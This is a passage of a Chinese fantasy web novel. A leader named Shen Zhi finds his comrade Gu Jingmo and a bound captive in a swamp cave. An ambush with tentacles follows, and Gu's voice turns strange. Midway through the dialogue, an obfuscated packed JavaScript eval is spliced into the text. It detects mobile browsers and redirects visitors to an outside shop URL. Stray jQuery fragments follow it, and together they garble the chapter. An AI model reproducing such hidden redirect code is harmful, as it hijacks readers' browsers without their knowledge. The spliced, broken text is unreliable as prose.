指节分明的手拨开缠络的枯枝,前方洞穴在昏暗中黑沉,潮湿空气里裹着草木焦煳的气息,黏在鼻尖挥之不去。
沈栀抬手折断横亘在前的枯枝,随手掷在脚边。
来时路上接到季临的求救信号,他已先遣空茧、哑镜二人赶去支援,唯独发给顾京墨的通讯请求,始终石沉大海。
【棋枰天罗】,黑子铸以玄铁,白子凝自寒玉,棋盘展开便能化作数百米的“天罗领域”。
领域之内,白子可令友方战力翻倍,甚至临时追平顾京墨的等级,黑子则能压制敌人实力。
可他身为阵眼,一旦展开领域,自身便毫无防御之力。
但云隐千机本就战力卓绝,攻防一体,便是他亲自对上,也需全神应对才能寻得破绽。
那女人又拿什么破局?
沈栀瞥向面前时明时暗的光幕,指尖不耐烦地捻了捻,又甩了甩手。
光幕似是有些信号不良,剧烈闪烁起来,其中一枚红点执拗地亮着,直指前方洞穴深处。
自踏入这饕餮沼泽,金莲定位便频频掉线,通讯更是时断时续,如今只能勉强捕捉到求救信号,连正常通话都做不到。
他缓缓摊开掌心。
“叮!!”一柄玄黑色镰刀凭空浮现,刀刃寒光锋利,柄身则是数节白骨以螺旋状串联而成。
【神判】-【阳镰】,是潮汐殿主专为同盟打造的神器。
放眼天下,这柄【神判】堪称第一利器,唯有超甲级实力的沈栀,方能将其驾驭。
此刻,神器被他随意握在掌心,只轻轻一挥,便将身前挡路的杂草拦腰斩断。
洞穴完完整整暴露在眼前,光幕上的红点愈发急促地闪烁,明明白白提示着,顾京墨就在里面。
他收了镰刀,抬脚踏进洞穴,一股清凉气息迎面而来,含着一丝糕点的甜香。
他素来不喜甜食,可这甜味混在沼泽的腐臭里,倒让紧绷的鼻腔松快了几分。
洞穴角落堆着些引火的枯枝,除此之外,还有个杂草垒起的窝棚样的东西,应是临时歇脚用的。
忽然,一人高的巨石后传来窸窸窣窣的响动,沈栀眉峰微蹙,放轻脚步绕了过去。
巨石后的人似乎并未察觉他的靠近,抬手拍掉掌心的尘土,长舒一口气:“呼!累死大爷了!总算完事了!”
“顾京墨?”
“沈栀!!”
听清来人声音的瞬间,顾京墨眼圈一热,紧跟着眉毛一横,就要发火。
可他也清楚,自己压根打不过沈栀,只能逞逞口舌之快。
“你怎么才来!我差点就交代在这儿了,你知道吗!”他几步绕出巨石,冲到沈栀跟前,不由分说便勾住他的脖子,不停埋怨,“你可真是给我找了个大麻烦!我顾京墨啥时候这么狼狈过?好歹也是堂堂甲级神使,居然被个小女子逼到这份上!”
沈栀最厌旁人近身,顾京墨的手刚搭上他肩颈,便被他反手扣紧。
“嘶!疼!疼!松手松手!!”
他松了力道:“你怎会在此?那女子呢?”
“喏!在这儿呢!”顾京墨揉着发麻的手腕,倒没真生气,他与沈栀相识多年,早摸透了这人“外冷里不算热”的脾性。
顺着他指的方向看去,巨石后果然蜷着个女子。
双手被麻绳反绑在身后,靠在石壁上,双眼紧闭,像是昏死过去。
沈栀俯身,修长的手指掐住女子下巴微微上抬,不过片刻,白皙的下颌便印出几道红痕。
他左右转着她的脸仔细打量,见肌肤细腻无假面痕迹,是岁宴宁本人无疑。
“这就抓到了?”他看向顾京墨,眼中带着怀疑。
顾京墨一听这话,当即炸了毛:“你这是质疑我的实力?咱俩认识这么多年,我虽主打辅助,可自保的本事总还是有的吧?”
沈栀斜睨他一眼,“自保本事确实有,但若说拿下她,不可能。”
顾京墨也不恼,干脆往巨石上一靠,“爱信不信,反正人就在这儿,接下来你打算怎么办?”
“带回渡厄,有些事需要盘问清楚。”
岁宴宁身负净化之力的事,他至今没有跟任何人提起过,此事牵连太大,必须先查清来龙去脉,才能安心。
顾京墨点点头,忽然想起什么:“你来时见着宋清他们了吗?”
“放心,已让阿镜和阿茧去寻了。”
得知队员无碍,顾京墨彻底放松下来,哥俩好似的拍了拍沈栀的胳膊:“谢了啊!”
沈栀没应声,视线扫过还挡在身前的男人,冷声道:“让开。”
顾京墨倒也听话,侧身让出一步,沈栀刚迈腿要过去,身前忽然横过来一只手臂,硬生生截住了他的动作。
沈栀眉头紧拧,周身的气压肉眼可见地低沉了下去。
他侧身想绕过去,目光却被顾京墨牢牢挡住,余光只能瞥见岁宴宁衣摆一角。
“你做什么?”
岁宴宁能力诡谲难测,即便此刻昏迷,谁知道会不会突然醒转?唯有将人放在眼皮子底下,他才能安心。
他周身气压骤沉,可顾京墨浑然不惧,反而笑嘻嘻地伸着手,拦在他面前不动。
“待此间事了,报酬自然少不了你的。”沈栀耐着性子冷声道,说着又往右移了半步。
顾京墨也往右挪了挪,仍旧将身后昏迷的女子遮挡得严严实实。
沈栀耐心告罄,二话不说便要伸手去拉他,没等他碰到人,反倒被人先一步抓住了手。
掌心相贴,指节处磨出的薄茧有些硌手,那是常年手握【神判】留下的印记。
他忽然晃了神,不合时宜地想起沈栀挥刀的模样。
右手扣着镰柄,腰腹一转便带起劲风,刀身划破空气时,连光似乎都要被劈开,带着一股无可匹敌的利落锋芒。
他晃了晃脑袋,语气讨好:“别着急啊沈栀,这次咱得事先说好,可不能再用那些不入流的小玩意敷衍我了!”
沈栀瞥他一眼,冷哼道:“我何时有过不入流的东西?是你自己不会用,怪不到别人头上。”
“是是是!”顾京墨连忙点头应和,笑得眉眼弯弯,“咱们尊贵的令主大人给的东西,自然是顶顶好的!不过这次任务,我云隐千机可是冒了天大的风险,报酬得让我队员亲自来选,成不?”
“可以。”沈栀答应的干脆利落。
顾京墨原本还等着他讨价还价,闻言顿时愣住了:“如果不行的话…可以!??”
他眼睛一亮:“你这就答应了?”
“不想要?”
“要要要!!”
“还有事?”
顾京墨一抬头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517218|203127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正对上那双纯黑眸子,沈栀比他高出小半头,垂眼时眼尾的阴影落下来,只露了半个瞳仁,却让他硬生生品出了威胁的意味。
再敢啰嗦,他说不定真会把自己扔进沼泽里。
顾京墨干笑两声:“没、没了!”
他刚要挪开身子,脸上的笑意却突然僵住,身体也跟着一沉。
“扑哧!”利器穿透皮肉的声音格外刺耳。
双眸猛地睁大,一口鲜红的血液直直喷在沈栀的脖颈上。
“顾京墨!”
沈栀瞳孔骤然猛缩,左手立刻掐住顾京墨后心的穴位封脉止血,拽着人极速后退。
顾京墨整个人压在他身上,手臂无力地垂着,双眼紧闭,显然是已经昏死过去。
本该昏迷的女子不知何时挣开了麻绳,握着一根沾血的枯枝,右腿以不自然的角度弯曲着。
她始终垂着头,额前的碎发挡住脸,看不清神色。
沈栀眼皮跳了跳,一股怪诞的感觉涌上心头。
难道她异变了?
不对,岁宴宁拥有净化之力,本是克制异变的存在,更何况这洞穴里异变灵气稀薄,怎么会毫无征兆地失控?
他从不是轻敌之人,能在数百场与域族、变种的对战中全胜,除了强悍的实力,便是谨慎。
可现在顾京墨像八爪鱼似的挂在他身上,不仅成了累赘,还彻底限制了他的动作。
沈栀伸手去扯他的手臂,可他哪怕昏死过去,肌肉仍然绷紧,双腿缠在他的腰上。
正想干脆扭断对方手腕强行分开,面前突然掠过一阵阴风。
一道黑雾直扑他面门!
沈栀腰腹猛地一拧,侧身避开。
可那黑雾竟像有灵智似的,折了个弯又缠上他的手腕。
他正要运气震散,指尖却突然触到一抹冰凉黏腻的触感。
那东西顺着掌心钻进衣袖蠕动着往上攀爬,像裹了层黏液的软体虫,细微的凸起缓缓蹭过皮肤,他浑身一激灵,寒毛直竖。
该死!
磅礴的灵气顺着左手溢出,化作刀片似的旋向缠在臂上的异物。
“呲啦!”割裂声响起,黑雾骤然散开,底下露出的东西却让沈栀呼吸一顿。
淡粉色的触手,纤细柔软,像刚蜕皮的新生体。
岁宴宁的实力到底到了什么地步?
方才那一击足以开山裂石,落在触手上却只留下一道浅浅痕迹。
触手本就质地柔软,即便覆着一层黏液,也不该挡下他的攻势。
但现下他的攻击却无法伤害祂分毫,毫无疑问,手臂上不断缠绕收紧的触手绝非常物。
除去净化之力,她竟还能操控这般诡谲之物。
不知为何,他的灵气一碰到那触手,骨缝里便像被无数蚁虫疯狂啃噬,又痒又痛,钻心难耐。
出手越是猛烈,痛感便越是尖锐,可一旦灵气稍缓,那剧痛又化作刺骨麻痒,顺着骨缝一路往里钻。
沈栀刚压下去的鸡皮疙瘩,又密密麻麻地冒了出来。
挂在他脖子上的人终于有了动静,沈栀眉头紧锁,压低声音沉喝:“顾京墨,醒醒!起来辅助我!”
“堂堂渡厄令主,超甲级神使,也需要我来辅助?”
那声音还是顾京墨的,却带着股陌生的戏谑,轻佻又诡异。